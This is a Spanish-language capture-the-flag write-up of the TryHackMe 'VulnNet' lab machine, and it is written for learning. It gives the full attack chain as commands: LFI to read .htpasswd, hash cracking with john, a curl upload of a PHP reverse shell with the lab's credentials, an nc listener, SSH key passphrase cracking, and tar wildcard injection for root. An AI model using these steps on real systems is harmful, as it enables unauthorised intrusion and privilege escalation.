Writeup THM - Maquina Vulnet
Hola a todos, ayer en la noche resolvi esta maquina de thm y me parecio muy divertida. Asi que les comparto el writeup
Asi que antes de comenzar leemos la recomendación del autor de la maquina, donde nos dice agregar la ip que nos asignaron con el dominio en vulnnet.thm en el /etc/hosts. Sin embargo esto me huele que debe tener virtual hosting y por ahi debe tener algun subdominio pero vamos que pasa
ahora damos un scan con nmap para ver a que nos enfrentamos
nmap -sC -sV -p22,80 -Pn -oN targeted vulnnet.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-17 21:15 -05
Nmap scan report for vulnnet.thm (10.10.226.231)
Host is up (0.18s latency).
rDNS record for 10.10.226.231: broadcast.vulnnet.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
| 256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_ 256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds
al ver la salida de nmap, me parecio interesante podemos ver que tenemos el puerto 22,80. Esto nos dice que seguro que todo los tiros seran por la parte web
hice un reconocimiento de la web para ver si por algun lado se escapaba un usuario y puedar poder acceder al sistema, pero sin exito :(. Asi que segui haciendo un reconocimiento con Wappalyzer y podemos ver las tegnologias que usa esta web
tambien hice un escaneo con dirsearch pero nada interesante, pero si revisamos el codigo fuente de la web y revisamos los recursos encontramos algo interesante
entonces podemos ver que estos javascript estan ofuscados, pero use una herramienta online de desofuscar el javascript y buscar algun indicio que me ayude seguir avanzando. Entonces al desofuscar el archivo index__7ed54732.js podemos obtener un subdominio interesante
bueno este subdominio lo agregare al /etc/hosts
10.10.226.231 broadcast.vulnnet.thm vulnnet.thm
podemos ver cuando accedemos a este subdominio me sale un popup donde pide un usuario y password
pero ahora no tengo ningun usuario, ni mucho menos credenciales. Asi que sigamos buscando en el otro archivo javascript
este ultimo me manda url con un parametro interesante, asi que realizando pruebas, encontramos que es vulnerable a LFI
ya que tenemos un servidor web apache busquemos archivos de configuracion google y el repositorio de seclists me ayudaron mucho, asi que revisando en /etc/apache2/sites-enabled/000-default.conf
asi que entremos busquemos en /etc/apache2/.htpasswd
http://vulnnet.thm/index.php?referer=/etc/apache2/.htpasswd
ya que encontramos un user y un hash, crackeemos ese hash con john
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
ya que tenemos las credenciales probe usando dichas credenciales en broadcast.vulnnet.thm
podemos ver que esta web esta usando un cms llamado clickbucket, que funciona para compartir fotos y videos algo del estilo youtube, pero busquemos la version de dicho cms en el codigo fuente
bueno ahora que sabemos la version busquemos un exploit que nos ayude a entrar al sistema
revisando el exploit que encontramos revisamos un comando curl que segun dice nos permitira subir una shell, asi que preparemos una shell que viene en kali o parrot por defecto y lo renombraremos como shell.php
/usr/share/webshells/php/php-reverse-shell.php
como podemos solo modifique en la shell mi ip y un puerto al que se conectara, asi que ahora probe el comando curl que viene en el exploit
curl -F "file=@shell.php" -F "plupload=1" -F "name=shell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php"
que mal al utilizar dicho comando me sale un error, el mensaje dice algo como que el servidor no encuentra que este autorizado para realizar dicha solicitud, asi viendo los comandos de curl probe agregar las credenciales que encontre y con las que me autentifique en dicha web
curl -F "file=@shell.php" -F "plupload=1" -F "name=shell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php -u developers:9972761drmfsls"
genial, nos salio como respuesta que se subio nuestra shell, ahora me tarde viendo donde encuentro dicha shell jaja. pero revisando un exploit de metasploit pude encontrar la ruta
bueno la ruta era muy obvia jeje pero listo ahora dejemos el puerto 4444 en escucha y ejecutemos nuestra shell en nuestro navegador
nc -nlvp 4444
genial tenemos shell
Obteniendo el user.txt
Ya pudimos acceder al sistema asi que nos damos con la tarea de obtener la flag de user.txt, asi que ejecutando linpeas.sh pude ver un archivo interesante /var/backups/ssh-backup.tar.gz. Por lo tanto descomprimi dicho archivo
encontramos un id_rsa, asi que intente ingresar con algun usuario por ssh con dicho id_rsa pero me pedia un passphrase
bueno asi que crackee dicho id_rsa con john
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt
listo ya que tenemos el passphrase, ahora si probare ingresar con el usuario server-management. aunque tuve problemas para acceder creo que era por la vpn por que al reiniciar la maquina, funciono y pude acceder
ahora nos queda leer el flag user.txt
Obteniendo el root.txt
Ahora nos toca sacar el root.txt, asi que revisando podemos ver que se esta ejecutando un tarea en crontab
revisando dicho script backupsrv.sh podemos ver que hace un backup con tar de todo lo que que se encuentra en /home/server-management/Documents, de esto nos damos cuenta por asterisco que esta usando
por lo tanto investigando pude ver un articulo muy interesante que me ayudo a ejecutar una archivo bash aprovechando del tar y el asterisco que esta usando
https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
asi creamos nuestra shell
y ejecutamos las siguientes dos lineas del articulo que leimos
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
y ahora dejemos en escucha nuestra puerto que pusimos en nuestra shell.sh y esperemos que se conecte nuestra reverse shell
genial, ahora a obtener nuestra shell
listo con esto terminamos de vencer esta maquina, y nos vamos aprendiendo cosas nuevas. nos vemos :)